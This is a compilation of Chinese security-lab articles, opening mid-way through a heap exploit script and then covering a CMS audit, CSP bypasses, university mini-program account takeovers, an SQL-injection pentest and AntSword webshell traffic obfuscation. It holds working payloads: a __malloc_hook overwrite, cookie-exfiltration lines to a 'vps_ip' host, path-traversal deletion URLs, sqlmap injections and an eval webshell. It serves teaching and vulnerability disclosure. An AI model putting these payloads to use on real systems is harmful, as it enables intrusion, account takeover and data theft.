leak=u64(r.recv(6).ljust(8,b'\x00'))
print(hex(leak))
libc_base=leak-(0x3c4b78)#0x7f2c05c6cb78-0x7f2c058a8000
realloc_addr=libc_base+libc.sym['__libc_realloc']
malloc_hook=libc_base+libc.sym['__malloc_hook']
fake_chunk_addr=malloc_hook-0x23
one_gadget=libc_base+0x4526a
print(hex(realloc_addr))
print(hex(fake_chunk_addr))
add(0x68,b'a'*0x08)# 4与2同时指向0x70
free(4)
edit(2,p64(fake_chunk_addr))
add(0x68,b'a'*0x08)#4
payload=b'a'*(0x13-0x08)+p64(one_gadget)+p64(realloc_addr+12)
add(0x68,payload)#5
r.recvuntil("choice: ")
r.sendline("1")
r.sendlineafter("size?",str(0x18))
print(hex(libc.sym['__malloc_hook']))
r.interactive()
结果如下
记某cms审计过程(新手入门篇)
你是否正在收集各类网安网安知识学习,蚁景网安实验室为你总结了1300+网安技能任你学,https://www.yijinglab.com/loginLab.do#stu>>
前言
今天放假闲着无事就找了个cms来挖挖漏洞,挖到的漏洞比较简单,适合新手入门,所以本篇文章就记录一下这几个漏洞的审计过程,以及如何从新手的角度去挖到cms一些常见的漏洞,如果是大佬就可以绕道了。
本文涉及相关实验:https://www.yijinglab.com/expc.do?ec=ECID06a1-2876-4bfb-8e59-a0096299c167 (通过本节的学习,了解文件下载漏洞的原理,通过代码审计掌握文件下载漏洞产生的原因以及修复方法。)
前置工作
寻找cms及搭建
一般来说我们可以到谷歌百度等引擎找到cms的官网下载源码,或者码云,然后在本地用phpstudy搭建起来环境
我们在这里下载cms的源码,下载之后怎么在本地搭建呢
我们打开phpstudy-》其他选项菜单-》站点域名管理里
把网站目录填写你下载源码的路径就好了,然后进hosts添加域名
然后不出意外就可以访问了
配置debug
在白盒代码审计的时候你可能会需要到断点调试,这个时候就需要用到xdebug,这里我个人用的是vscode编辑器,当然你用phpstorm也是可以的,配置过程如下
首先在vscode的应用商店下载php debug插件
在php.ini添加
[XDebug]
xdebug.profiler_output_dir ="D:\phpStudy\PHPTutorial\tmp\xdebug"
xdebug.trace_output_dir ="D:\phpStudy\PHPTutorial\tmp\xdebug"
zend_extension="D:\phpStudy\PHPTutorial\php\php-7.1.13-nts\ext\php_xdebug.dll"
xdebug.remote_enable = on
xdebug.remote_autostart = on
在文件-》首选项-》设置-》用户-》扩展-》settings.json
{
"php.validate.executablePath": "D:/phpStudy/PHPTutorial/php/php-7.1.13-nts/php.exe",
"editor.mouseWheelZoom": true,
"php.executablePath": "D:/phpStudy/PHPTutorial/php/php-7.1.13-nts/php.exe",
"workbench.editorAssociations": [
{
"viewType": "jupyter.notebook.ipynb",
"filenamePattern": "*.ipynb"
}
],
"explorer.confirmDelete": false
}
launch.json添加
{
"version": "0.2.0",
"configurations": [
{
"name": "Listen for Xdebug",
"type": "php",
"request": "launch",
"port": 9000
},
]
}
上面一些路径自行更改一下,然后我们新建一个1.php打个断点,然后访问http://127.0.0.1/1.php,如果出现如下,就说明xdebug环境就成功搭建了
文件上传漏洞
通常来说,漏洞等级评级高的就是可以rce的高危漏洞,而想要rce最常见的就是文件上传
找文件上传漏洞的话,有两种思路,分别为黑盒和白盒,对新手来说代码功底不强的话,黑盒应该是会比较简单的,这里分别从两个不同的角度来寻找漏洞
黑盒思路
一般来说网站的后台很多地方都是可以文件上传的,我们进入后台之后可以寻找诸如文章发布处,修改头像处,附件,插件管理等地方,特别是像在文章发布处有这种富文本编辑器的地方往往会有上传图片和上传附件的功能
我们拿刚刚搭建好的cms,进入后台之后在发布文章处找到有可以上传图片的地方
我们随便上传一个1.php,发现提示上传图片发生错误,应该是被过滤了
但不确定是不是前端过滤还是后端过滤,我们先上传1.jpg,抓包改一下
发现上传成功,原来只是前端过滤,芜湖这不起飞,我们再访问一下我们上传的文件
发现已经成功getshell
这里的过滤比较简单,新手可以学一下各种绕过的技巧:https://xz.aliyun.com/t/6692
那么除了发布文章处,我们还可以在上传图片这些地方入手
我们在微信小程序这里的基本设置处看到有个首页分享封面
和上面一样,只是前端做了过滤,我们抓包改文件即可
但是这里的话只是提示上传成功,没有回显出来文件的名字,我们可以在本地文件处看看到底上传了什么东西
发现上传了wx_share_cover.php,这个文件的名字是固定的,于是我们访问试试看
发现也已经成功getshell
白盒思路
对于初学者而言,找漏洞不能只看黑盒,也要基于白盒审计进行,所谓白盒审计可以简单地理解为就是看着代码找漏洞
我们知道php文件上传的函数是move_uploaded_file(),或者一般来说上传的方法名是有upload关键字的,我们可以全局搜索他们定位到上传功能的代码里面
我们找到相应的代码块如下
可以看到validate的check就是这里的过滤,我们用上面的方法绕过即可,如果想清楚的跟踪进这个函数就可以在这里打个断点,然后分析
当然白盒寻找rce漏洞,我们还可以找找file_put_content等可以直接写文件的函数
任意文件删除
通常我们找文件删除漏洞的话,可以全局搜索unlink函数
第一处
这里的代码功能比较简单,正如注释所说的删除目录下面的所有文件,但不删除目录
我们可以看到$directory是我们可控的,而且没用做任何的过滤,说不定就可以穿越目录从而任意删除文件了,我们先手动加一个var_dump(scandir("."));来观察一下这里所处的位置
可以看到现在是在public的目录下,那我们就在上一层目录随便新建一个目录,里面随便新建几个文件试试看
我们输入
http://www.test123.com/system/dir/del?directory=../123
可以发现txt文件都被删除了,但是文件夹没有被删除
因为这个功能不能删除目录,只能删除目录的文件,如果我们还想删412315里面的文件就可以输入
http://www.test123.com/system/dir/del?directory=../123/412315
第二处
这里和第一处差不多,但是功能有点不一样,这里是可以把整个目录删除了,我们输入如下就可以删除整个123目录了
http://www.test123.com/system/dir/delDir?directory=../123
反序列化漏洞
既然前面已经挖到了文件上传漏洞,这个cms又是thinkphp6.0的版本,我们可以再找一下有没有可以触发phar函数的漏洞
第一处
突然看到我们前面的任意文件删除漏洞处,不正是有个is_dir函数吗,而且又是可以控制的,真是踏破铁鞋无觅处得来全不费功夫
我们先用网上公开的反序列化链生成test.jpg,然后利用上面的任意文件删除漏洞上传,上传到这个位置
{"code":1,"msg":"上传成功","url":["http:\/\/www.test123.com\/uploads\/postImages\/20210404\\3c5ea1104433e1cb734be47ab8377a11.jpg"]}
我们再用phar协议去触发这个文件即可rce
http://www.test123.com/system/dir/del?directory=phar://uploads/postImages/20210404/3c5ea1104433e1cb734be47ab8377a11.jpg
第n处
除了上面那个任意文件删除处的is_dir,我们可以再找找还有没有其他地方能够触发的,随手一找又发现两处
这还只是单单用is_dir函数,没算上其他的就已经那么多了,这个 cms 真是"漏洞百出"
本文的漏洞已提交至 cnvd 平台,作为新手找一些少人用的 cms 挖上面几种漏洞还是比较容易的
这个技术你学会了吗?加入网安实验室,1300+网安技能任你学!
CSP浅析与绕过
你是否正在收集各类网安网安知识学习,蚁景网安实验室为你总结了1300+网安技能任你学,https://www.yijinglab.com/loginLab.do#stu>>
XSS是最常见、危害最大的网页安全漏洞,想要抵御它们,要采取非常多编程措施,非常麻烦。那么,有没有可以从根本上解决问题,浏览器自动禁止外部注入恶意脚本的方法呢?CSP应运而生。
本文涉及相关实验:https://www.yijinglab.com/expc.do?ec=ECIDee9320adea6e062017110316534000001 (实验介绍了CSP防御机制的基本原理,利用script gadget绕过CSP,进而实施XSS攻击,并对攻击原理和过程进行分析。)
什么是CSP
CSP(Content Security Policy,内容安全策略),是网页应用中常见的一种安全保护机制,它实质就是白名单制度,开发者明确告诉客户端,哪些外部资源可以加载和执行,哪些不可以
CSP如何工作
通过响应包头(Response Header)实现:
Content-Security-policy: default-src 'self'; script-src 'self' allowed.com; img-src 'self' allowed.com; style-src 'self';
通过HTML 元标签实现:
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; img-src https://*; child-src 'none';">
CSP指令
我们可以看出,有一部分是CSP中常用的配置参数指令,我们也是通过这些参数指令来控制引入源,下面列举说明:
script-src:外部脚本
style-src:样式表
img-src:图像
media-src:媒体文件(音频和视频)
font-src:字体文件
object-src:插件(比如 Flash)
child-src:框架
frame-ancestors:嵌入的外部资源(比如<frame>、<iframe>、<embed>和<applet>)
connect-src:HTTP 连接(通过 XHR、WebSockets、EventSource等)
worker-src:worker脚本
manifest-src:manifest 文件
dedault-src:默认配置
frame-ancestors:限制嵌入框架的网页
base-uri:限制<base#href>
form-action:限制<form#action>
block-all-mixed-content:HTTPS 网页不得加载 HTTP 资源(浏览器已经默认开启)
upgrade-insecure-requests:自动将网页上所有加载外部资源的 HTTP 链接换成 HTTPS 协议
plugin-types:限制可以使用的插件格式
sandbox:浏览器行为的限制,比如不能有弹出窗口等。
除了Content-Security-Policy,还有一个Content-Security-Policy-Report-Only字段,表示不执行限制选项,只是记录违反限制的行为。它必须与report-uri选项配合使用。
Content-Security-Policy-Report-Only: default-src 'self'; ...; report-uri /my_amazing_csp_report_parser;
CSP指令值
介绍完CSP的指令,下面介绍一下指令值,即允许或不允许的资源
*: 星号表示允许任何URL资源,没有限制;
self: 表示仅允许来自同源(相同协议、相同域名、相同端口)的资源被页面加载;
data:仅允许数据模式(如Base64编码的图片)方式加载资源;
none:不允许任何资源被加载;
unsafe-inline:允许使用内联资源,例如内联<script>标签,内联事件处理器,内联<style>标签等,但出于安全考虑,不建议使用;
nonce:通过使用一次性加密字符来定义可以执行的内联js脚本,服务端生成一次性加密字符并且只能使用一次;
下面通过具体的例子来看看CSP指令和指令值的用法:
<img src=image.jpg> 该图片来自https://example.com将被允许载入,因为是同源资源;
<script src=script.js> 该js脚本来自https://example.com将被允许载入,因为是同源资源;
<script src=https://examples.com/script.js>,该js脚本将不允许被加载执行,因为来自https://examples.com, 非同源;
CSP绕过
CSP从诞生时起即有安全研究人员所探索,本文总结部分方法
在开始之前,我们都可以将相应的CSP政策丢上Google 提供的 https://csp-evaluator.withgoogle.com/检测一波,有奇效(手动滑稽)
location.href绕过
href 属性是一个可读可写的字符串,可设置或返回当前显示的文档的完整 URL。
CSP不影响location.href跳转,因为在大多数网站中的跳转功能都是靠前端实现的,如果限制跳转将会使网站很大一部分功能受到影响,所以利用跳转来绕过CSP是一个万能的方法;或者存在script-src 'unsafe-inline';这条规则也可以用该绕过方法
demo
<?php if (!isset($_COOKIE['a'])) { setcookie('a',md5(rand(0,1000))); } header("Content-Security-Policy: default-src 'self';"); ?> <!DOCTYPE html> <html> <head> <title>CSP Test</title> </head> <body> <h2>CSP-safe</h2> <?php if (isset($_GET['a'])) { echo "Your GET content".@$_GET['a']; }// ?>
这个地方可以用location跳转:location.href(window.location/window.open)绕过
exp
?a=<script>location.href="http://127.0.0.1"+document.cookie;</script>
在我们已经可以执行任意js脚本但由于CSP的阻拦我们的cookie无法带外传输,就可以用此方法
location.href = "vps_ip:xxxx?"+document.cookie
可以执行任意js脚本,但由于CSP无法数据外带
CSP为script-src 'unsafe-inline'
link标签预加载导致的绕过
这是个老办法了,在大部分浏览器都已经约束了该标签,但是老浏览器可能还可行
<!-- firefox --> <link rel="dns-prefetch" href="//${cookie}.vps_ip"> <!-- chrome --> <link rel="prefetch" href="//vps_ip?${cookie}">
那我们该如何将数据外带呢
动态构建元素,再引发页面跳转
var link = document.createElement("link"); link.setAttribute("rel", "prefetch"); link.setAttribute("href", "//vps_ip/?" + document.cookie); document.head.appendChild(link);
这样就可以将cookie外带了
可以执行任意js脚本,但由于CSP无法外带数据
meta网页跳转绕过
与link标签原理相似,利用meta标签实现网页跳转
http://127.0.0.1/csp.php?xss==<meta http-equiv="refresh" content="1;url=http://150.158.188.194:7890/" >
除此之外,meta标签还有一些不常用的功能有时也能起奇效
meta可以控制缓存(在header没有设置的情况下),有时候可以用来绕过CSP nonce。
<meta http-equiv="cache-control" content="public">
meta可以设置Cookie(Firefox下),可以结合self-xss利用
<meta http-equiv="Set-Cookie" Content="cookievalue=xxx;expires=Wednesday,21-Oct-98 16:14:21 GMT; path=/">
meta这一被很多人忽略的标签,其实可以做到的东西也不少,后面有机会会进一步分析
iframe绕过
iframe 元素会创建包含另外一个文档的内联框架(即行内框架),我们可以通过设置这个来做到一个跨域访问,这其中就有安全问题了,但是今天要用到的并不是这些
在CSP中,通过配置sandbox和child-src可以设置iframe的有效地址,它限制适iframe的行为,包括阻止弹出窗口,防止插件和脚本的执行,而且可以执行一个同源策略。
同源 这才是主角,当一个同源站点存在两个页面,我们称它们为A页面和B页面,假如A页面有CSP保护,而B页面没有,我们就可以直接在B页面新建iframe用js操作A页面的DOM,也就是说A页面的CSP防护完全失效
demo&exp
<!-- A页面 --> <meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src 'self'"> <h1 id="flag">flag{0xffff}</h1> <!-- B页面 --> <!-- 下面模拟XSS --> <body> <script> var iframe = document.createElement('iframe'); iframe.src="http://127.0.0.1/a.php"; document.body.appendChild(iframe)
setTimeout是为了等待iframe加载完成
你以为就这样就完了?那你果然和我一样天真了
在找CSP绕过相关资料时,还发现了个好玩的东西(https://www.jianshu.com/p/f1de775bc43e)
在Chrome下,iframe标签支持csp属性,这有时候可以用来绕过一些防御,例如"http://xxx"页面有个js库会过滤XSS向量,我们就可以使用csp属性来禁掉这个js库。
<iframe csp="script-src 'unsafe-inline'" src="http://xxx"></iframe>
一个同源站点存在两个页面,其中一个有CSP保护,一个没有且存在xss漏洞
我们要的数据在存在CSP保护的页面中
CDN绕过
一般来说,前端要用到许多的前端框架和库,而部分企业为了效率或者其他原因,会选择使用其他CDN上的js框架,当这些CDN上存在一些低版本的框架时,就可能存在绕过CSP的风险
这里借Orange大神绕过hackmd CSP的文章(https://paper.seebug.org/855/)来分析一波
demo
先来看hackmd的CSP策略
content-security-policy: script-src 'self' vimeo.com https://gist.github.com www.slideshare.net https://query.yahooapis.com 'unsafe-eval' https://cdnjs.cloudflare.com https://cdn.mathjax.org https://www.google.com https://apis.google.com https://docs.google.com https://www.dropbox.com https://*.disq
看到了unsafe-eval这个关键字,可以想到Breaking XSS mitigations via Script Gadgets手法,但我们继续往下看就会发现,其实没这么复杂,因为该CSP政策还允许了https://cdnjs.cloudflare.com/这个js hosting服务,这个提供了很多第三方的函数库以供引入,这样我们就可以直接借助AngularJS 函数库以及Client-Side Template Injection里面成熟的沙盒逃逸技术绕过
再因为原本WAF对注释的完全可信,可以构造出<!-- foo="bar--><script>alert(1)</script>>" -->这一payload,用-->来闭合前面的注释,来让后面内容完全可控
两者结合,得出最终payload
exp
<!-- foo="--> <script src=https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.8/angular.min.js> </script> <div ng-app> {{constructor.constructor('alert(document.cookie)')()}} </div> //sssss" -->
详细内容看Orange师傅的文章
如果用了Jquery-mobile库,且CSP中包含"script-src 'unsafe-eval'"或者"script-src 'strict-dynamic'",可以用此exp
<div data-role=popup id='<script>alert(1)</script>'></div>
还比如RCTF2018题目出现的AMP库,下面的标签可以获取名字为FLAG的cookie
<amp-pixel src="http://your domain/?cid=CLIENT_ID(FLAG)"></amp-pixel>
总而言之,这一绕过方法主要可以套用网上相应的payload格式来绕过CSP,在https://www.blackhat.com/docs/us-17/thursday/us-17-Lekies-Dont-Trust-The-DOM-Bypassing-XSS-Mitigations-Via-Script-Gadgets.pdf中总结了可以被用来CDN绕过的一些JS库,可以用作参考
CDN服务商存在低版本的js库
该CDN服务商在CSP白名单中
站点可控静态资源绕过
给一个绕过codimd的(实例)https://github.com/k1tten/writeups/blob/master/bugbounty_writeup/HackMD_XSS_&_Bypass_CSP.md
案例中codimd的CSP中使用了http://www.google-analytics.com 而http://www.google.analytics.com中提供了自定义javascript的功能(google会封装自定义的js,所以还需要unsafe-eval),于是可以绕过CSP
demo
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src 'unsafe-eval' https://www.google-analytics.com"> <script src="https://www.google-analytics.com/gtm/js?id=GTM-PJF5W64"></script>
exp
同理,在其他站点提供了可控静态资源的功能时,且CSP中允许了此站点,就可以用该方式绕过
存在可控静态资源
站点在CSP允许名单中
不完整script标签绕过
我们先来了解一个小知识(敲黑板):当浏览器碰到一个左尖括号时,会变成标签开始状态,然后会一直持续到碰到右尖括号为止,在其中的数据都会被当成标签名或者属性
好,我们开搞
demo1
<?php header("X-XSS-Protection:0");?> <meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src 'nonce-xxxxx'"> <?php echo $_GET['xss']?> <script nonce='xxxxx'> //do some thing </script>
exp
当我们输入http://127.0.0.1/2.php?xss=<script src=data:text/plain,alert(1),我们可以发现<script就会被变成一个属性,值为空,之后的nonce='xxxxx'
会被当成我们输入的script标签中的一个属性,成功绕过script-src
demo2
但是在chrome中,虽然第二个<script 被当成了属性名,但依旧会干扰chrome对标签的解析,造成错误,使我们的exp无法成功执行 https://xzfile.aliyuncs.com/media/upload/picture/20190511094533-772405ea-738e-1.png
exp
这里可以用到标签的一个技巧,当一个标签存在两个同名属性时,第二个属性的属性名及其属性值都会被浏览器忽略
<!-- 3.php --> <h1 a="123" b="456" a="789" a="abc">123</h1>
https://xzfile.aliyuncs.com/media/upload/picture/20190511094533-772ac830-738e-1.png于是我们可以输入 http://127.0.0.1/2.php?xss=123<script src="data:text/plain,alert(1)" a=123 a= 先新建一个a属性,然后再新建第二个a属性,这样我们就将第二个<script赋给了第二个a属性,浏览器在解析的时候直接忽略了第二个属性及其后面的值,这样exp就能成功在chrome浏览器上执行 https://xzfile.aliyuncs.com/media/
可控点在合法script标签上方,且其中没有其他标签
XSS页面的CSP script-src只采用了nonce方式
不完整的资源标签获取资源
demo
<meta http-equiv="Content-Security-Policy" content="default-src 'self';script-src 'self'; img-src *;"> <?php echo $_GET['xss']?> <h1>flag{0xffff}</h1> <h2 id="id">3</h2>
这里可以注意到img用了*,有些网站会用很多外链图片,所以这个情况并不少见,虽然我们可以新建任意标签,但是由于CSP我们的JS并不能执行(没有unsafe-inline),于是我们可以用不完整的<img标签来将数据带出
exp
http://127.0.0.1/csp.php?xss=<img src="//vps_ip?a=
此时由于我们传入的src的引号没有闭合,html解析器会一直寻找第二个引号,而直到”id“前的引号出现之前,所有内容都会被当作src的值发送到我们的vps上
需要注意的是,chrome下这个exp并不会成功,因为chrome不允许发出的url中含有回车或<
可以加载外域资源 (img-src: *)
需要获取页面某处的信息
302(重定向)绕过
很多时候一个网站都会带有一个302跳转功能的页面,用它来导向到本站的资源或者是外部的链接 我们首先看一下w3c文档里关于重定向的说明https://www.w3.org/TR/CSP2/#source-list-paths-and-redirects
很明显的,如果我们的script-src设置为某个目录,通过这个目录下的302跳转,是可以绕过csp读取到另一个目录下的脚本的。
接下来就来模拟分析一波
demo
<!-- csp.php --> <?php header("Content-Security-Policy: default-src 'self';script-src http://127.0.0.1/a/"); ?> <html> <head> </head> <body> csp header test </body> </html> <!-- redirect.php --> <?php header("Location: " . $_GET[url]); ?> <!-- test.php --> <!DOCTYPE html> <html> <head> <title>1</tit
csp限制了/a/目录,而我们的目标脚本在/b/目录下则如果这时候请求redirect页面去访问/b/下的脚本是可以通过csp的检查的
exp
http://127.0.0.1/a/redirect.php?url=/b/test.php
但这是有一个很严格的条件的,加载的资源所在的域必须和自身处于同域下(example.com),也就是不可能通过302跳转去加载一个其他域下的脚本的,比如通过a.com的302跳转去加载b.com下的脚本是不可以
但!又来个但是了,在实际环境中,比如某个站调用某个cdn,或者类似于script-src example.com/scripts/ google.com/recaptcha/,google.com/script/*下有个evil.js,然后刚好站内有个重定向,漏洞条件就已经成立了。
在script-src允许的域下,需要存在一个重定向的页面,这种页面大多存在于登陆,退出登录
在script-src允许的域下,存在某个任意文件的上传点(任意目录)
有特别的方式可以跨域发送请求,或者有站内域可以接受请求
如果看完这一篇还不过瘾的话可以去实验室做实验继续学习哦。
与证书大学站的相爱相杀
你是否正在收集各类网安网安知识学习,蚁景网安实验室为你总结了1300+网安技能任你学,https://www.yijinglab.com/loginLab.do#stu>>
0x01:前言
记一次关于edusrc中证书大学的小程序挖掘过程。
在各路大师傅惨无人道的证书站挖掘,像是我这只小菜鸡在web方面很难再摸到漏洞,内网也莫得账号,无奈只能转战小程序。
0x02:准备
夜神模拟器 6.6.1.1 Andorid5版本
Burpsuite 证书
Node+npm环境
0x03:实战
先确定一个证书站的目标,从小程序名称下的归属可以知道此小程序确实属于目标资产,同时在交互包中也可以发现是对其子域进行交互。
先是对其进行一波排查,发现有功能点展示但需要进行登录。爆破一波并没有发现存在弱口令用户,更换方式。
尝试对 小程序 进行反编译 (在对wxapkg文件进行获取的时候,可以先删除其目录下的所有小程序包,然后再去访问想要测试的小程序,会生成两个数据包都要拿出来),例如下图_2100734759_11.wxapkg是需要进行编译的包
#node ../wxappUnpacker-master/wuWxapkg.js _459201295_105.wxapkg //开始编译
编译成功会获得一些源码,可以尝试找账号密码,且还可以对其进行一系列行为溯源
在翻js的时候,翻到一个js文件,打开发现是一个修改密码的行为
发现有个不想是路径的地址,同时还指明URL,猜测可能是某个接口,尝试利用其的POST方式对其进行发包探测,后来发现不管怎么样都是返回 {success:200}
正当一筹莫展的时候,把js往下滑动,看到了用户信息加载的字样,应该也是基于接口访问获取个人信息
拼接访问:http://xxxx.edu.cn/xxxx/user/admin 好家伙,来开发抽华子
可以发现password的值为undefined,起先我弱智的用空密码登录admin账号,发现密码错误,又带入undefined这个字符串进行登录。。。
重新屡一下思路,照理来讲应该password字段应该是有密码的。回顾操作有没有可能是我上一步的POST数据的那个功能点是修改密码,毕竟我没传任何数据。
对上个接口进行POST传参fuzz,fuzz完好几个字典发现都是没有成功修改密码。
后来想起来wxml像是一个前端页面,正好有个mpassworx.wxml,看看里面的传参值是什么,newp为新密码,confirmp是确认新密码。再对其接口进行构造修改密码
传参值为md5加密之后的数据(为什么知道是md5呢,因为在个人信息返回的那个点,我对其进行了工号和学号的fuzz,发现其中用户密码都是经过md5加密的)
发现从原来undefined,变成了我传入的md5值,成功修改密码
利用修改之后的账号密码,成功登陆系统
同时可以对会议室实验室啥的进行管理,开个门,关个门,开个空调,开个电风扇等等
0x04 实战案例二:
南神永远滴神!!!
依旧还是一个证书站的小程序
先用自己的手机号注册一个账号,Tips:当用自己手机注册一个手机号的时候先会获得一个验证码可以用来注册,同时当准备利用忘记密码功能点来获取密码的时候,验证码不会再发送,后来发现注册获得的验证码可以被多次使用,也不会过期
生成0001 - 9999的字典轻而易举的爆破出来
如何获得管理员的手机号捏~,先利用自建注册的账号,进系统内对各个功能点进行探测,发现有个数据包中带有userID值,尝试越权
发现当访问其他userID时会提示登录超时,看到有个token验证,尝试删除再访问其他userID。发现当userID的值存在时会回显数据,没有则会返回空。
对userID直接fuzz遍历获得linkMobile,就是其手机号。
成功获取一些管理员用户手机,直接在忘记密码处4位纯数字爆破修改密码。
0x05:后言
涉及漏洞均已提交edusrc。
网络如山勤思为径,信息似海安全作舟。
多一分网络防护技能,多一份信息安全保障。
你想在靶场学习CTF技术吗?
记一次相对完整的渗透测试
你是否正在收集各类网安网安知识学习,蚁景网安实验室为你总结了1300+网安技能任你学,https://www.yijinglab.com/loginLab.do#stu>>
教育src 700rank了想着继续冲一波分,早日上核心,于是就有了下面这一次渗透测试的过程了。
开局一个登陆框,且存在密码找回功能。
归属为某教育局
开启burp 抓取登陆包,发现用户密码并未加密 ,尝试爆破admin账户密码 跑了一下发现报如下错误,看来爆破这条路走不通了。
于是fofq查询了一下ip,无旁站。继续肝下一个功能点,密码找回
密码找回处
可以看出这里肯定是会存在数据交互的,于是加个单引号测试一下sql,返回500
两个单引号,返回正常,可以断定这里是肯定存在sql注入了,抓取包丢进sqlmap中跑一下。
得出如下payload
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: #1* ((custom) POST)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: login_name=admin' AND 5698=5698 AND 'yKnB'='yKnB
Vector: AND [INFERENCE]
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: login_name=admin' AND (SELECT 3409 FROM (SELECT(SLEEP(5)))iWYb) AND 'ZAHe'='ZAHe
Vector: AND (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR])
报错与延时注入,对于接下来的渗透意义不大,继续fuzz,尝试按照正常逻辑找回密码。
抓取返回包可以很明显的看到其中存在success参数其值为false,我们将其改为true,
页面显示如下,flag参数不为空,这是玩ctf呢,再次重放找回密码请求。
发现,flag的值应该是在这设定哦,but并不知晓flag的值,无从下手手
行吧转换思路,既然admin账户没有设置手机号,那我去跑一下账户,总有设置手机的账户,flag出现了,现在目前不知道有何作用。转手测试有手机号的账户。
随意输入验证码,点击下一步,大概是明白了,这个flag就相当于身份id。
我们继续抓取返回包,改success 参数为true,成功到达重置密码界面
设置了一下新密码,之后使用burp抓包,发现存在两个参数flag 与pwd flag参数之前在跑用户名的时候我们就已经获取到了,所以这里我单独拉出来,复制之前的flag。
Send,返回结果为true表示成功更改
成功登陆
既然成功登陆之后,就开始找上传点了
Java站那就是jsp与jspx了,经过一番fuzz找到一处相册管理
先上传了一张图片,获取到了上传路径。
接着在构造jsp小马尝试上传,目标存在waf jsp无法上传,我是一点都不意外啊。
看了看poc中可疑的参数点,这不就是我们需要的文件路径,以及文件名吗,我们可以尝试在此处更改文件后缀。
证实了猜想。
于是继续构造poc,成功上传,拼接之前得到的url,尝试访问
发现直接打印了,看来是不解析。
可以很明显的看到这里是目录结构,所以尝试删除部分目录,重新上传
例如
发现成功跳过目录
继续访问发现还是直接打印了,不慢慢fuzz跳目录了,我直接跳到他根目录下面。
分析一下、这是最开始上传到的目录并不解析,我们可以看到其中有四层目录
删除其中如下两层目录后,还剩下
这两层目录所以用 ../../来跳过这两层目录。
结合之前的路径,拼接访问。
未授权,点到为止,打包提交
带带我代码审计可好,好哥哥们。
本文涉及相关实验:https://www.yijinglab.com/expc.do?ec=ECID172.19.104.182015060916565800001 (本实验以PHP和mysql为环境,简单展示了SQL的发生原理和利用过程,通过显错注入和盲注的对比,更直观展现注入的不同利用方法。)
这个技术你学会了吗?加入网安实验室,1300+网安技能任你学!
蚁剑流量改造学习
你是否正在收集各类网安网安知识学习,蚁景网安实验室为你总结了1300+网安技能任你学,https://www.yijinglab.com/loginLab.do#stu>>
流量分析
挂个代理直接抓包就好了
UA头修改
修改蚁剑工作目录的/modules/request.js,这里面默认是antSword/v2.1
一般需要修改一下,不然极其容易被发现,可以利用平常爬虫的一些技巧,随机构造UA头
let USER_AGENTS = [ "Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)", "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.190 Safari/537.36"
编码管理绕过检测
蚁剑里面可以自己构造流量的编码的效果,存在于设置的编码管理中,可以设置发送流量的加密效果,也可以设置返回数据流量的解密效果,但是我们同样需要我们上传木马的配合,这里又涉及到免杀这一个过程
蚁剑的编码器很友好,注释啥的写的也很清楚,官方给的demo是弄了一个随机变量名,我们的内容base64之后再次传入到这个变量中,再解base64执行一次eval,这个编码器最终发送的是data数组的内容,数组里面有多少内容它就会全部发送,数组的key值就是传过去的参数值
自定义编码
我们可以对其进行改造,这就是自定义改造了
参考这篇文章的例子:https://xz.aliyun.com/t/4000 ,文中是改成最后传输的数据随机字符串+传输数据base64+随机字符串 的效果,我们可以模仿一下,构造随机字符串+传输数据base64 的效果,只要被抓取的流量无法被直接正常分析就可以了
/** * php::base64编码器 * Create at: 2019/01/26 23:51:47 */ 'use strict'; /* * @param {String} pwd 连接密码 * @param {Array} data 编码器处理前的 payload 数组 * @return {Array} data 编码器处理后的 payload 数组 */ module.exports = (pwd, data) => { // ########## 请在下方编写你自己的代码 ################### // 以下代码为 PHP Base64 样例 // 生成一个随机
编码器选择我们设置的,观察流量,内容的前面13位是我们随机生成的字符串,后面才是我们真正传过去的内容
弄好蚁剑端的加密,还需要设置自己木马的格式,配合蚁剑,此时上传的木马应该是这种格式的了,这只是一个demo,正常情况下还需要免杀(现在一般都需要配合类的析构函数去实现一下)
<?php $a = base64_decode(substr($_POST['a'],13)); eval($a);
当然也能实现动态随机字符串的流量构造,只需要传递多几个参数实现一下就行,要想使用form表单的方式发包,也可以使用multipart方式发包,此时报的内容就会是这样
官方提供的一些编码器
在蚁剑自带的编码器中,存在base64、chr、chr16、rot13四种编码器,此外,官方还提供了一些其他另类的编码器 https://github.com/AntSwordProject/AwesomeEncoder
但是自带的编码器中,因为将请求流量都会带有eval和一些编码函数的关键字而被WAF掉了,比如这个图:
所以在https://github.com/AntSwordProject/AwesomeEncoder 这个项目中,有一些编码方式会将这些函数变量进行一次编码或者加密,不行就多次,比如这里面的b64bypass这个编码器,跟上方的单纯base64进行比较的话,已经少了这些关键字了
RSA编码器
这种类型的编码器,可以在AWD中大放异彩,只需要轻轻点几下即会自动生成私钥公钥的内容
思路是来自于这篇文章:https://xz.aliyun.com/t/4640
可以放置别人骑我们的马,但是不能防止别人重放我们的流量
所以可以在此基础上加上一些token,ip限制之类的,蚁剑的作者提出使用时间校验的方式,超过5秒就不能来骑我的马儿了,只需要加上这么一句
data["_"] = `if((time()-${parseInt((new Date().getTime())/1000)})>5){die();};${data['_']}`;
基于时间的蚁剑动态秘钥编码器
整个的流程是这样的:
蚁剑获取时间->生成随机秘钥->加密payload->发送给shell
shell获取时间->生成随机秘钥->解密payload->将回显data编码->返回给蚁剑
蚁剑获取时间->生成随机秘钥->解密返回data->获取信息
这一个来回下来,时间还是一样的,因为时间只到分钟,密钥短时间内不会改变,加解密方法使用的是异或,这个流量已经很难解密了
zlib_deflated_raw 编码器
该方式通过将数据进行zlib压缩后进行base64编码传输给shell,这样要求shell将传输的数据先进行base64解密后通过gzinflate将压缩数据进行解压缩,从而实现流量混淆
这个编码器的加密效果也是不错的
